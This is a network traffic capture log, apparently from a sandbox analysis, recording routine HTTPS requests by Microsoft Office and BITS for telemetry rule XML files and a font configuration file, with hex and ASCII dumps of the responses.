2024-11-26 00:41:29 UTC	478	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=31922 Date: Tue, 26 Nov 2024 00:41:29 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	49780	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:28 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:29 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:29 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 89e88ad2-001e-0065-4491-3f0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004129Z-174f7845968g6hv8hC1EWR1v2n00000002q00000000048wb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:29 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:29 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:29 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:29 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: f440c5dc-801e-0047-7891-3f7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004129Z-174f7845968n2hr8hC1EWR9cag0000000u90000000007aw1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:29 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.6	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:29 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:30 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:29 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: c3d74fa2-201e-0003-1d91-3ff85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004129Z-174f78459688l8rvhC1EWRtzr00000000790000000006erp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:30 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	49786	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:29 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:29 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 6c824192-201e-0051-0a91-3f7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004129Z-174f7845968kvnqxhC1EWRmf3g0000000dmg0000000008fc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 00:41:30 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.6	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:29 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:30 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:30 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: baa0830a-001e-0082-4291-3f5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004130Z-174f7845968px8v7hC1EWR08ng0000000uzg000000006e62 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:30 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	49790	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:30 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-26 00:41:31 UTC	534	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=31898 Date: Tue, 26 Nov 2024 00:41:31 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-26 00:41:31 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:31 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:31 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:31 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: d3507608-601e-003d-4b91-3f6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004131Z-174f78459684bddphC1EWRbht40000000ufg000000005q49 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 00:41:31 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.6	49794	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:31 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:32 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: fac497c4-501e-008f-4391-3f9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004132Z-174f7845968glpgnhC1EWR7uec0000000ut0000000006srp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 00:41:32 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:31 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:32 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:32 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: dc0e5a4e-901e-005b-0191-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004132Z-174f78459688l8rvhC1EWRtzr0000000077g000000005z0v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:32 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	49793	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:31 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:32 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:32 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 5810d2d2-301e-0000-6891-3feecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004132Z-174f7845968l4kp6hC1EWRe8840000000uy00000000062zc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:32 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.6	49795	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:32 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:32 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: dc0e6055-901e-005b-2d91-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004132Z-174f7845968jrjrxhC1EWRmmrs0000000uug000000005dxn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 00:41:32 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.6	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:34 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:34 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:34 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 1fa1b817-401e-0067-5691-3f09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004134Z-174f7845968px8v7hC1EWR08ng0000000v10000000002s59 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 00:41:34 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.6	49802	13.107.246.63	443

